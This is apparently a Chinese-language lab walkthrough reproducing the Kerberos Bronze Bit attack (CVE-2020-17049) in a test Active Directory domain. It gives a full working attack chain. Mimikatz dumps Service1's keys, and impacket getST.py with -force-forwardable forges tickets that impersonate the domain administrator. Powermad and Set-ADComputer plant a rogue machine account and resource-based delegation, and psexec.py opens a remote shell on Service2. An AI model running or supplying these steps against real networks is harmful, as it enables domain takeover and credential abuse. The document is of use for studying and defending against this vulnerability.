Kerberos Bronze Bit Attack又称Kerberos青铜比特攻击,由国外netspi安全研究员Jake Karnes发现的漏洞,并且申请了CVE-2020-17049编号。
概述
该漏洞解决了两个问题
- 禁止协议转换/协议过渡
- 受保护的用户和敏感用户不能被委派
具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议”
spn服务账户sql设置为“敏感用户不能被委派”或者添加到“受保护的组”中(两者任选其一)
利用场景:
- 传统的约束委派
- 基于资源的约束委派(滥用域账户的MachineAccountQuota属性)
下面进行复现
传统的约束委派绕过
模拟场景
- 已经爆破了一个用户jack@test.local 密码为
test123!@#
- 拿到Service1的hash
- Service1对Service2有信任的约束关系
- 攻击者充当Service1向Service2申请票据从而ptt到Service2
首先尝试常规的约束委派利用(参考我之前的文章)
报错,说明这是“敏感用户不能被委派”和“受保护的组”的原因。
然后尝试Kerberos Bronze Bit Attack
首先需要Service1的hash和aeskey(这里可以通过提权获取Service1的hash,我这里使用Service1的本地管理员账号抓取)
runas /user:Service1\administrator mimikatz
privilege::debug
sekurlsa::ekeys
然后使用最新版的impacket请求票据
python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:aa09cecb1728cd5cad6e779c7f370563 -aesKey 71f9caf9203575bbbe760e6a669d90cbe39be0b5a442496295e2f63990ee858f test.local/Service1 -force-forwardable
这样绕过了“敏感用户不能被委派”和“受保护的组”利用约束委派拿下来了Service2。
基于资源的约束委派绕过
用adsi编辑器赋予域用户jack对service2写入权限
开始利用,首先需要通过powermad新加入一个计算机账户AttackerService,密码为AttackerServicePassword,用域账户jack登录service1
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
因为密码是我们自定义的,所以可以用mimikatz计算出hash
然后使用PowerShell Active Directory模块添加基于资源的约束委派,即从AttackerService到Service2的传入信任关系。
Microsoft.ActiveDirectory.Management.dll
在安装powershell模块Active Directory后生成,默认只在域控上有,可以从域控上导出。
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
设置好基于资源的约束委派之后就可以模拟用户申请票据了。
python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable
hashes和aesKey参数来自于添加的机器用户AttackerService,mimikatz可以计算。
export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k Service2.test.local
总结
Kerberos Bronze Bit Attack可以绕过“敏感用户不能被委派”和“受保护的组”进一步利用约束委派,扩大了Kerberos的攻击面。